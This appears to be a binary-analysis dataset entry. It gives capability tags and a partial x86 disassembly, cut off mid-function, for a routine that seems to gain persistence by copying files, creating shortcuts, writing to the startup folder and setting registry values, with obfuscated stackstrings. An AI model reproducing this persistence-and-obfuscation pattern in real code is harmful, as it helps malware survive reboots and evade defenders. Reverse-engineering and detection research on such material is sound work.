Function at 0x444ed0
Capabilities:
Contain obfuscated stackstrings
Copy file
Create process on windows
Create shortcut via ishelllink
Get common file path
Get session user name
Get startup folder
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5075a2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x9a0
push ebx
xor eax, eax
mov dword [ebp - 0x14], 0
push esi
push edi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x70], eax
sub esp, 0x18
mov dword [ebp - 4], 7
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004655b0
lea eax, [ebp - 0x580]
mov ecx, 0x5183b0
push eax
call fcn.00444e60
push eax
lea ecx, [ebp + 8]
call fcn.00465430
lea ecx, [ebp - 0x580]
call fcn.00402660
mov ecx, 0x5360e0
call fcn.00462da0
test al, al
je 0x447a37
mov ecx, 0x5360e0
call fcn.00462dd0
test al, al
jne 0x447a37
lea eax, [ebp - 0x47c]
mov ecx, 0x5360e0
push eax
call fcn.00462c30
lea eax, [ebp - 0x5b0]
mov ecx, 0x5360e0
push eax
call fcn.00462bc0
lea eax, [ebp - 0x5b0]
push eax
lea ecx, [ebp - 0x47c]
call fcn.00466ae0
test al, al
jne 0x447a37
mov ebx, dword [ebp - 0xdc]
lea ecx, [ebp - 0x47c]
call fcn.00462300
lea ecx, [ebp - 0x1a5]
mov dword [ebp - 0x1a5], 0x6380209
mov esi, eax
mov dword [ebp - 0x1a1], 0xe0708
mov byte [ebp - 0x19d], 1
call fcn.0040b3d0
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x580]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1ca]
mov dword [ebp - 0x1ca], 0x5380209
mov dword [ebp - 0x1c6], 0x1f001808
mov word [ebp - 0x1c2], 0x100
call fcn.0040e990
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x620]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x17b]
mov dword [ebp - 0x17b], 0xf380209
mov dword [ebp - 0x177], 0x100050c
call fcn.00410070
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x43c]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x173]
mov dword [ebp - 0x173], 0x1d380209
mov dword [ebp - 0x16f], 0x100061b
call fcn.00410070
push eax
mov ecx, esi
call fcn.00469670
lea ecx, [ebp - 0x568]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x3d]
movaps xmm0, xmmword [0x5251d0]
movups xmmword [ebp - 0x3d], xmm0
mov dword [ebp - 0x2d], 0xe0401
mov byte [ebp - 0x29], 1
call fcn.0040ea50
push eax
mov ecx, esi
call fcn.00469670
mov ecx, eax
call fcn.004698e0
movaps xmm0, xmmword [0x5252a0]
lea ecx, [ebp - 0x3e]
mov byte [ebp - 0x44], al
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0xa121a00
mov word [ebp - 0x2a], 0x100
call fcn.0040eae0
push eax
mov ecx, esi
call fcn.00469670
mov ecx, eax
call fcn.004698e0
mov byte [ebp - 0x46], al
movaps xmm0, xmmword [0x5257e0]
lea ecx, [ebp - 0x3a]
movups xmmword [ebp - 0x3a], xmm0
mov word [ebp - 0x2a], 0x100
call fcn.0040e930
push eax
mov ecx, esi
call fcn.00469670
mov ecx, eax
call fcn.004698e0
mov byte [ebp - 0x45], al
lea ecx, [ebp - 0x43c]
lea eax, [ebp - 0x4c8]
push eax
call fcn.00465100
lea ecx, [ebp - 0x43c]
mov edi, dword [eax]
lea eax, [ebp - 0x550]
push eax
call fcn.004650e0
lea ecx, [ebp - 0x43c]
mov esi, dword [eax]
lea eax, [ebp - 0x54c]
push eax
call fcn.00465100
push edi
push esi
mov edx, fcn.004e244e
lea ecx, [ebp - 0x300]
push dword [eax]
call fcn.0046a060
add esp, 0xc
mov word [ebp - 0x1f], 0x45
lea ecx, [ebp - 0x1f]
mov byte [ebp - 0x1d], 1
call fcn.004628e0
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
je 0x445288
push ebx
lea ecx, [ebp - 0x248]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xc
call fcn.00402810
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x49]
mov word [ebp - 0x49], 0x45
mov byte [ebp - 0x47], 1
call fcn.004628e0
push dword [ebp - 0x300]
lea ecx, [ebp - 0x2b8]
call fcn.004027f0
lea ecx, [ebp - 0x49]
mov byte [ebp - 4], 0xe
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445204
sub ecx, edx
lea eax, [ebp - 0x49]
push ecx
push eax
lea ecx, [ebp - 0x2b8]
call fcn.00402810
lea eax, [ebp - 0x248]
mov byte [ebp - 4], 0xf
push eax
lea edx, [ebp - 0x2b8]
lea ecx, [ebp - 0x43c]
call fcn.0040c250
add esp, 4
lea ecx, [ebp - 0x2b8]
call fcn.00402660
lea ecx, [ebp - 0x248]
mov byte [ebp - 4], 0xb
call fcn.00402660
lea ecx, [ebp - 0x1f]
mov word [ebp - 0x1f], 0x45
mov byte [ebp - 0x1d], 1
call fcn.004628e0
lea ecx, [ebp - 0x43c]
call fcn.004027a0
lea ecx, [ebp - 0x1f]
push ecx
push eax
call fcn.004ddd40
add esp, 8
test eax, eax
jne 0x4451b1
sub esp, 0x18
mov word [ebp - 0xc3], 0x49
lea ecx, [ebp - 0xc3]
mov byte [ebp - 0xc1], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.00409f20
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x10
lea eax, [ebp - 0x43c]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0xb
call fcn.0040bf50
add esp, 0x30
lea ecx, [ebp - 0x2c4]
mov byte [ebp - 4], 0x11
xor esi, esi
call fcn.004641f0
test eax, eax
je 0x44531f
push esi
lea ecx, [ebp - 0x2c4]
call fcn.004641d0
lea edx, [ebp + 8]
mov ecx, eax
call fcn.00469640
test al, al
jne 0x44531d
lea ecx, [ebp - 0x2c4]
inc esi
call fcn.004641f0
cmp esi, eax
jb 0x4452f1
jmp 0x44531f
mov bl, 1
mov ecx, dword [ebp - 0x2c0]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x2c4]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x445346
test bl, bl
je 0x4479d1
sub esp, 0x18
mov word [ebp - 0xae], 0x49
lea ecx, [ebp - 0xae]
mov byte [ebp - 0xac], 1
xor bl, bl
mov dword [ebp - 0x18], esp
mov esi, esp
call fcn.00409f20
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x12
lea eax, [ebp - 0x620]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x2fc]
mov byte [ebp - 4], 0x11
call fcn.0040bf50
add esp, 0x30
xor ecx, ecx
mov byte [ebp - 4], 0x13
mov edi, dword [ebp - 0x2f8]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x2fc]
mov dword [ebp - 0x24], ecx
mov ecx, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4464dd
nop word [eax + eax]
mov edi, dword [ebp - 0x24]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x18], esp
lea eax, [edi + edi*2]
lea eax, [esi + eax*8]
push eax
call fcn.004655b0
sub esp, 0x10
mov byte [ebp - 4], 0x14
lea eax, [ebp + 0x20]
mov ecx, esp
push eax
call fcn.004630b0
lea ecx, [ebp - 0x360]
mov byte [ebp - 4], 0x13
call fcn.00413bb0
add esp, 0x28
xor edx, edx
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0x360]
call fcn.004698a0
test al, al
je 0x4464a0
movaps xmm0, xmmword [0x525b20]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x1000510
call fcn.004625b0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469670
lea edx, [ebp - 0x41]
mov ecx, eax
call fcn.00479280
movaps xmm0, xmmword [0x525050]
lea ecx, [ebp - 0x3e]
movups xmmword [ebp - 0x3e], xmm0
mov dword [ebp - 0x2e], 0xb13041a
mov word [ebp - 0x2a], 0x100
call fcn.004624c0
lea eax, [ebp - 0x3e]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469670
lea edx, [ebp - 0x42]
mov ecx, eax
call fcn.00479280
movaps xmm0, xmmword [0x525980]
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
mov dword [ebp - 0x2c], 0x1000f07
call fcn.004625b0
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469670
lea edx, [ebp - 0x43]
mov ecx, eax
call fcn.00479280
lea ecx, [ebp - 0x16b]
mov dword [ebp - 0x16b], 0x3150708
mov dword [ebp - 0x167], 0x1040e36
mov dword [ebp - 0x163], 0x301070c
mov word [ebp - 0x15f], 0x100
call fcn.004625e0
lea eax, [ebp - 0x16b]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469670
lea ecx, [ebp - 0x248]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x4c]
mov word [ebp - 0x4c], 0x49
mov byte [ebp - 0x4a], 1
call fcn.004628e0
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x1c], esp
mov dword [ebp - 0x58], esi
mov ecx, esi
push dword [ebp - 0x58]
call fcn.004027f0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 0x17
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x445550
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
mov ecx, esi
call fcn.00402810
sub esp, 0x18
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x248]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x2d0]
mov byte [ebp - 4], 0x16
call fcn.0040bf50
add esp, 0x30
mov byte [ebp - 4], 0x19
lea ecx, [ebp - 0x193]
mov byte [ebp - 0xd], 0
mov dword [ebp - 0x193], 0x3150708
mov dword [ebp - 0x18f], 0x19040936
mov dword [ebp - 0x18b], 0x191d1a03
mov dword [ebp - 0x187], 0x1000114
call fcn.00462460
lea eax, [ebp - 0x193]
push eax
lea ecx, [ebp - 0x360]
call fcn.00469670
lea ecx, [ebp - 0x2b8]
push ecx
mov ecx, eax
call fcn.004697b0
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x2a8], 0
je 0x4456c7
sub esp, 0x18
mov word [ebp - 0xab], 0x49
lea ecx, [ebp - 0xab]
mov byte [ebp - 0xa9], 1
mov esi, esp
mov dword [ebp - 0x1c], esp
call fcn.00409f20
push eax
mov ecx, esi
call fcn.00402700
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.004655b0
lea ecx, [ebp - 0x34c]
mov byte [ebp - 4], 0x1a
call fcn.0040bf50
mov esi, dword [ebp - 0x34c]
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x348]
add esp, 0x30
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4456b2
xor edi, edi
lea eax, [ebp + 8]
lea ecx, [edi + esi]
push eax
call fcn.0046cd50
test al, al
jne 0x4456ae
mov ecx, dword [ebp - 0x348]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x34c]
add edi, 0x18
inc dword [ebp - 0x18]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x18], eax
jb 0x445672
jmp 0x4456b2
mov byte [ebp - 0xd], 1
lea ecx, [ebp - 0x34c]
call fcn.004677b0
cmp byte [ebp - 0xd], 0
je 0x44647c
cmp dword [ebp - 0x238], 0
je 0x44647a
cmp byte [ebp - 0x41], 0
je 0x445d2a
lea ecx, [ebp + 0x30]
call fcn.00462b90
test eax, eax
je 0x4459f2
lea eax, [ebp - 0x340]
push eax
lea ecx, [ebp + 0x30]
call fcn.00469960
lea eax, [ebp - 0x218]
mov byte [ebp - 4], 0x1c
push eax
lea ecx, [ebp - 0x340]
call fcn.004629c0
lea eax, [ebp - 0x249]
push eax
lea ecx, [ebp - 0x340]
call fcn.004629b0
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
jne 0x4459e3
test bl, bl
jne 0x4459e3
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x4459c8
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x4459c8
lea eax, [ebp - 0x49c]
mov ecx, esi
push eax
call fcn.00462c30
lea eax, [ebp - 0x590]
mov ecx, esi
push eax
call fcn.00462bc0
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00466ae0
test al, al
jne 0x4459c8
nop
lea ecx, [ebp - 0x49c]
call fcn.00462300
test bl, bl
jne 0x4459c8
lea ecx, [ebp - 0x308]
push ecx
mov ecx, eax
call fcn.00469960
lea eax, [ebp - 0x214]
mov byte [ebp - 4], 0x1d
push eax
lea ecx, [ebp - 0x308]
call fcn.004629c0
lea eax, [ebp - 0x20d]
push eax
lea ecx, [ebp - 0x308]
call fcn.004629b0
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], bl
jne 0x445994
test bl, bl
jne 0x445994
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x445979
lea eax, [ebp - 0x4ac]
mov ecx, esi
push eax
call fcn.00462c30
lea eax, [ebp - 0x5a0]
mov ecx, esi
push eax
call fcn.00462bc0
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00466ae0
test al, al
jne 0x445979
nop dword [eax + eax]
lea ecx, [ebp - 0x4ac]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x445979
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x1e
call fcn.00402810
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
mov dword [ebp - 0xec], 0x90a0901
mov dword [ebp - 0xe8], 0x1000400
call fcn.00462400
lea eax, [ebp - 0xec]
mov ecx, esi
push eax
call fcn.00469670
cmp byte [eax], bl
je 0x4458e7
lea ecx, [ebp - 0xce]
mov dword [ebp - 0xce], 0x90a0901
mov dword [ebp - 0xca], 0x1000400
call fcn.00462400
lea eax, [ebp - 0xce]
mov ecx, esi
push eax
call fcn.00469670
push eax
lea ecx, [ebp - 0xa8]
call fcn.004699f0
lea ecx, [ebp - 0x5f]
mov word [ebp - 0x5f], 0x4b
mov byte [ebp - 0x5d], 1
call fcn.004628e0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x5f]
push eax
call fcn.004693c0
sub esp, 8
mov byte [ebp - 4], 0x20
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.004642f0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x1f
call fcn.00413e10
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x1d
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x4ac]
call fcn.004622b0
lea eax, [ebp - 0x5a0]
push eax
lea ecx, [ebp - 0x4ac]
call fcn.00466ae0
test al, al
je 0x445840
lea ecx, [ebp - 0x214]
call fcn.00466a70
mov eax, dword [ebp - 0x214]
cmp byte [eax + 0xd], 0
je 0x4457e8
lea ecx, [ebp - 0x308]
mov byte [ebp - 4], 0x1c
call fcn.0041be30
lea ecx, [ebp - 0x49c]
call fcn.004622b0
lea eax, [ebp - 0x590]
push eax
lea ecx, [ebp - 0x49c]
call fcn.00466ae0
test al, al
je 0x445790
lea ecx, [ebp - 0x218]
call fcn.00466a70
mov eax, dword [ebp - 0x218]
cmp byte [eax + 0xd], 0
je 0x445735
lea ecx, [ebp - 0x340]
mov byte [ebp - 4], 0x1a
call fcn.0041be30
test bl, bl
jne 0x445d2a
lea ecx, [ebp + 0x40]
call fcn.00462b90
test eax, eax
je 0x445d2a
lea eax, [ebp - 0x318]
push eax
lea ecx, [ebp + 0x40]
call fcn.00469960
lea eax, [ebp - 0x220]
mov byte [ebp - 4], 0x21
push eax
lea ecx, [ebp - 0x318]
call fcn.004629c0
lea eax, [ebp - 0x20e]
push eax
lea ecx, [ebp - 0x318]
call fcn.004629b0
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], bl
jne 0x445d1f
test bl, bl
jne 0x445d1f
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x445d04
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x445d04
lea eax, [ebp - 0x48c]
mov ecx, esi
push eax
call fcn.00462c30
lea eax, [ebp - 0x5c0]
mov ecx, esi
push eax
call fcn.00462bc0
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00466ae0
test al, al
jne 0x445d04
mov edi, dword [ebp - 0x28]
nop dword [eax]
lea ecx, [ebp - 0x48c]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x445d04
lea ecx, [ebp - 0x310]
mov byte [ebp - 4], 0x22
call fcn.0046c830
or edi, 0x40
lea edx, [ebp - 0x310]
mov ecx, esi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.00479300
mov eax, dword [ebp - 0x310]
lea ecx, [ebp - 0x21c]
push 0
push dword [eax]
call fcn.00466ad0
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], bl
jne 0x445cc7
mov edi, 1
test bl, bl
jne 0x445cc4
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x445ca9
push esi
lea ecx, [ebp - 0x3e4]
call fcn.00466c10
lea ecx, [ebp - 0x3e4]
call fcn.00466bd0
push esi
lea ecx, [ebp - 0x518]
call fcn.00466c10
lea ecx, [ebp - 0x518]
call fcn.00466ba0
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00466ae0
test al, al
jne 0x445ca9
lea ecx, [ebp - 0x3e4]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x445ca9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x23
call fcn.00402810
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0xe4], 0x90a0901
mov dword [ebp - 0xe0], 0x1000400
call fcn.00462400
lea eax, [ebp - 0xe4]
mov ecx, esi
push eax
call fcn.00469670
cmp byte [eax], bl
je 0x445c1c
lea ecx, [ebp - 0xd6]
mov dword [ebp - 0xd6], 0x90a0901
mov dword [ebp - 0xd2], 0x1000400
call fcn.00462400
lea eax, [ebp - 0xd6]
mov ecx, esi
push eax
call fcn.00469670
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470610
lea ecx, [ebp - 0x62]
mov word [ebp - 0x62], 0x4b
mov byte [ebp - 0x60], 1
call fcn.004628e0
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
lea edx, [ebp - 0x62]
push eax
call fcn.004693c0
sub esp, 8
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 0
mov ecx, esp
push eax
call fcn.004642f0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x24
call fcn.00413e10
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xa8]
cmovne ebx, edi
call fcn.00402660
lea ecx, [ebp - 0x3e4]
call fcn.004622b0
lea eax, [ebp - 0x518]
push eax
lea ecx, [ebp - 0x3e4]
call fcn.00466ae0
test al, al
je 0x445b75
lea ecx, [ebp - 0x21c]
call fcn.00466a70
mov eax, dword [ebp - 0x21c]
cmp byte [eax + 0xd], 0
je 0x445b13
mov edi, dword [ebp - 0x28]
and edi, 0xffffffbf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x310]
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x70], edi
call fcn.0041be30
lea ecx, [ebp - 0x48c]
call fcn.004622b0
lea eax, [ebp - 0x5c0]
push eax
lea ecx, [ebp - 0x48c]
call fcn.00466ae0
test al, al
je 0x445ab0
lea ecx, [ebp - 0x220]
call fcn.00466a70
mov eax, dword [ebp - 0x220]
cmp byte [eax + 0xd], 0
je 0x445a50
lea ecx, [ebp - 0x318]
call fcn.0041be30
cmp byte [ebp - 0x42], 0
je 0x446133
test bl, bl
jne 0x446133
lea ecx, [ebp + 0x50]
call fcn.00462b90
test eax, eax
je 0x445f2e
lea ecx, [ebp - 0x320]
mov byte [ebp - 4], 0x26
call fcn.0046c830
mov esi, dword [ebp - 0x28]
lea edx, [ebp - 0x320]
or esi, 0x80
lea ecx, [ebp + 0x50]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.00479300
mov eax, dword [ebp - 0x320]
lea ecx, [ebp - 0x224]
push 0
push dword [eax]
call fcn.00466ad0
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], bl
jne 0x445f17
nop dword [eax]
test bl, bl
jne 0x445f14
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x3f4]
call fcn.00466c10
lea ecx, [ebp - 0x3f4]
call fcn.00466bd0
push esi
lea ecx, [ebp - 0x508]
call fcn.00466c10
lea ecx, [ebp - 0x508]
call fcn.00466ba0
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00466ae0
test al, al
jne 0x445ef9
lea ecx, [ebp - 0x3f4]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x445ef9
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x27
call fcn.00402810
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x75]
mov dword [ebp - 0x75], 0xb1410
mov byte [ebp - 0x71], 1
call fcn.00462980
lea eax, [ebp - 0x75]
mov ecx, esi
push eax
call fcn.00469670
cmp byte [eax], bl
je 0x445e7c
lea ecx, [ebp - 0x7a]
mov dword [ebp - 0x7a], 0xb1410
mov byte [ebp - 0x76], 1
call fcn.00462980
lea eax, [ebp - 0x7a]
mov ecx, esi
push eax
call fcn.00469670
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470610
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004655b0
sub esp, 0xc
mov byte [ebp - 4], 0x29
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004642f0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x28
call fcn.00413e10
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x26
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x3f4]
call fcn.004622b0
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x3f4]
call fcn.00466ae0
test al, al
je 0x445df3
lea ecx, [ebp - 0x224]
call fcn.00466a70
mov eax, dword [ebp - 0x224]
cmp byte [eax + 0xd], 0
je 0x445da0
mov esi, dword [ebp - 0x28]
and esi, 0xffffff7f
lea ecx, [ebp - 0x320]
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x70], esi
call fcn.0041be30
test bl, bl
jne 0x446133
lea ecx, [ebp + 0x60]
call fcn.00462b90
test eax, eax
je 0x446133
lea ecx, [ebp - 0x328]
mov byte [ebp - 4], 0x2a
call fcn.0046c830
mov esi, dword [ebp - 0x14]
lea edx, [ebp - 0x328]
or esi, 0x400000
lea ecx, [ebp + 0x60]
mov dword [ebp - 0x14], esi
call fcn.00479300
mov eax, dword [ebp - 0x328]
lea ecx, [ebp - 0x228]
push 0
push dword [eax]
call fcn.00466ad0
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], bl
jne 0x44611d
test bl, bl
jne 0x44611a
lea esi, [eax + 0x28]
push esi
lea ecx, [ebp - 0x404]
call fcn.00466c10
lea ecx, [ebp - 0x404]
call fcn.00466bd0
push esi
lea ecx, [ebp - 0x4f8]
call fcn.00466c10
lea ecx, [ebp - 0x4f8]
call fcn.00466ba0
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00466ae0
test al, al
jne 0x4460ff
nop word [eax + eax]
lea ecx, [ebp - 0x404]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x4460ff
push dword [ebp - 0x58]
lea ecx, [ebp - 0xa8]
call fcn.004027f0
push 0
push 0x5204b8
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0x2b
call fcn.00402810
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x7f]
mov dword [ebp - 0x7f], 0xb1410
mov byte [ebp - 0x7b], 1
call fcn.00462980
lea eax, [ebp - 0x7f]
mov ecx, esi
push eax
call fcn.00469670
cmp byte [eax], bl
je 0x446082
lea ecx, [ebp - 0x84]
mov dword [ebp - 0x84], 0xb1410
mov byte [ebp - 0x80], 1
call fcn.00462980
lea eax, [ebp - 0x84]
mov ecx, esi
push eax
call fcn.00469670
push eax
lea ecx, [ebp - 0xa8]
call fcn.00470610
sub esp, 0x18
lea eax, [ebp - 0xa8]
mov ecx, esp
mov dword [ebp - 0x1c], esp
push eax
call fcn.004655b0
sub esp, 0xc
mov byte [ebp - 4], 0x2d
lea eax, [ebp - 0x2d0]
mov byte [ebp - 0xd], 1
mov ecx, esp
push eax
call fcn.004642f0
mov cl, byte [ebp - 0xd]
mov byte [ebp - 4], 0x2c
call fcn.00413e10
add esp, 0x24
movzx ebx, bl
test al, al
mov byte [ebp - 4], 0x2a
mov eax, 1
lea ecx, [ebp - 0xa8]
cmovne ebx, eax
call fcn.00402660
lea ecx, [ebp - 0x404]
call fcn.004622b0
lea eax, [ebp - 0x4f8]
push eax
lea ecx, [ebp - 0x404]
call fcn.00466ae0
test al, al
je 0x445ff0
lea ecx, [ebp - 0x228]
call fcn.00466a70
mov eax, dword [ebp - 0x228]
cmp byte [eax + 0xd], 0
je 0x445f93
mov esi, dword [ebp - 0x14]
and esi, 0xffbfffff
lea ecx, [ebp - 0x328]
mov dword [ebp - 0x14], esi
call fcn.0041be30
jmp 0x446136
mov esi, dword [ebp - 0x14]
cmp byte [ebp - 0x43], 0
je 0x44647c
test bl, bl
jne 0x44647c
lea ecx, [ebp + 0x70]
call fcn.00462b90
test eax, eax
je 0x44647c
lea ecx, [ebp - 0x338]
mov byte [ebp - 4], 0x2e
call fcn.0046c830
or esi, 0x100000
lea edx, [ebp - 0x338]
lea ecx, [ebp + 0x70]
mov dword [ebp - 0x14], esi
call fcn.00479300
mov eax, dword [ebp - 0x338]
lea ecx, [ebp - 0x230]
push 0
push dword [eax]
call fcn.00466ad0
mov eax, dword [ebp - 0x230]
cmp byte [eax + 0xd], bl
jne 0x446464
test bl, bl
jne 0x446461
cmp byte [eax + 0x28], bl
lea esi, [eax + 0x28]
je 0x446446
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x446446
push esi
lea ecx, [ebp - 0x424]
call fcn.00466c10
lea ecx, [ebp - 0x424]
call fcn.00466bd0
push esi
lea ecx, [ebp - 0x4d8]
call fcn.00466c10
lea ecx, [ebp - 0x4d8]
call fcn.00466ba0
lea eax, [ebp - 0x4d8]
push eax
lea ecx, [ebp - 0x424]
call fcn.00466ae0
test al, al
jne 0x446446
nop dword [eax]
lea ecx, [ebp - 0x424]
call fcn.00462300
mov esi, eax
test bl, bl
jne 0x446446
lea ecx, [ebp - 0x330]
mov byte [ebp - 4], 0x2f
call fcn.0046c830
or dword [ebp - 0x14], 0x20000
lea edx, [ebp - 0x330]
mov ecx, esi
call fcn.00479300
mov eax, dword [ebp - 0x330]
lea ecx, [ebp - 0x22c]
push 0
push dword [eax]
call fcn.00466ad0
mov eax, dword [ebp - 0x22c]
cmp byte [eax + 0xd], bl
jne 0x44640b
nop dword [eax]
test bl, bl
jne 0x44640b
lea esi, [eax + 0x28]
mov ecx, esi
call fcn.00462b90
test eax, eax
je 0x4463f0
push esi
lea ecx, [ebp - 0x414]
call fcn.00466c10
lea ecx, [ebp - 0x414]
call fcn.00466bd0
push esi
lea ecx, [ebp - 0x4e8]
call fcn.00466c10
lea ecx, [ebp - 0x4e8]
call fcn.00466ba0
lea eax, [ebp - 0x4e8]
push eax
lea ecx, [ebp - 0x414]
call fcn.00466ae0
test al, al
jne 0x4463f0
